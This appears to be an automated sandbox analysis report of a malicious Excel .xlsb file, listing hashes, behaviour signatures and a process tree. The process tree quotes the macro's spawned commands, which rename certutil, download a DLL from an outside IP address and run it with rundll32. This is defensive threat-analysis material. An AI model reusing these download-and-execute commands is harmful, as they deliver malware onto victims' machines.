Analysis

  • max time kernel
    149s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    29-02-2024 06:13

General

  • Target

    ade047b047a762846f7df54eed3dd90a.xlsb

  • Size

    157KB

  • MD5

    ade047b047a762846f7df54eed3dd90a

  • SHA1

    d14e19640dbed65b96ce6a3881261f5fb9335874

  • SHA256

    42ee070ac0de1e32e2f436764560c31655f0e81aeb2f842a895cca3405fb2c7f

  • SHA512

    6fde7aface8e173641a4a8519a7f3095b01417a470508ab5506f3843b93656b1cd7449e31c537e159ae863c9baea4a7a6de6b9c8a710cee35c289d5b42e3b0fc

  • SSDEEP

    3072:TALCFzv4iOuXHPoDIniT5gg8JiaFpSA+gyLe:TLzFrHA8ez8rSA+ry

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ade047b047a762846f7df54eed3dd90a.xlsb
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1444
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c mkdir %programdata%\vWJpojwO && copy /b %SystemRoot%\System32\c*tutil.exe c:\programdata\vWJpojwO\vWJpojwO.exe
      2⤵
      • Process spawned unexpected child process
      PID:2076
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c c:\programdata\vWJpojwO\vWJpojwO.exe -urlcache -f -split http://141.136.0.170 c:\programdata\vWJpojwO\vWJpojwO.dll
      2⤵
      • Process spawned unexpected child process
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2520
      • \??\c:\programdata\vWJpojwO\vWJpojwO.exe
        c:\programdata\vWJpojwO\vWJpojwO.exe -urlcache -f -split http://141.136.0.170 c:\programdata\vWJpojwO\vWJpojwO.dll
        3⤵
        • Executes dropped EXE
        PID:2432
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c rundll32 %programdata%\vWJpojwO\vWJpojwO.dll,GlobalOut
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2400
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32 C:\ProgramData\vWJpojwO\vWJpojwO.dll,GlobalOut
        3⤵
          PID:2476

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • \??\c:\programdata\vWJpojwO\vWJpojwO.exe

      Filesize

      869KB

      MD5

      7b973145f7e1b59330ca4dd1f86b3d55

      SHA1

      10ce9174bff4856083e6adad0094a798ced2c079

      SHA256

      589229e2bd93100049909edf9825dce24ff963a0c465d969027db34e2eb878b4

      SHA512

      1e910be2a19a13e6f07f290fc5de8f44a3d1427eb216928bd9230337e3c604b1b782acd373e2d051fc3521280610cb05a95cb95ff2e1db110a4593e55709e9b4

    • memory/1444-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1444-1-0x00000000728AD000-0x00000000728B8000-memory.dmp

      Filesize

      44KB

    • memory/1444-5-0x00000000063E0000-0x00000000064E0000-memory.dmp

      Filesize

      1024KB

    • memory/1444-8-0x00000000063E0000-0x00000000064E0000-memory.dmp

      Filesize

      1024KB

    • memory/1444-10-0x00000000063E0000-0x00000000064E0000-memory.dmp

      Filesize

      1024KB

    • memory/1444-15-0x00000000728AD000-0x00000000728B8000-memory.dmp

      Filesize

      44KB

    • memory/1444-16-0x00000000063E0000-0x00000000064E0000-memory.dmp

      Filesize

      1024KB

    • memory/1444-17-0x00000000063E0000-0x00000000064E0000-memory.dmp

      Filesize

      1024KB

    • memory/1444-18-0x00000000063E0000-0x00000000064E0000-memory.dmp

      Filesize

      1024KB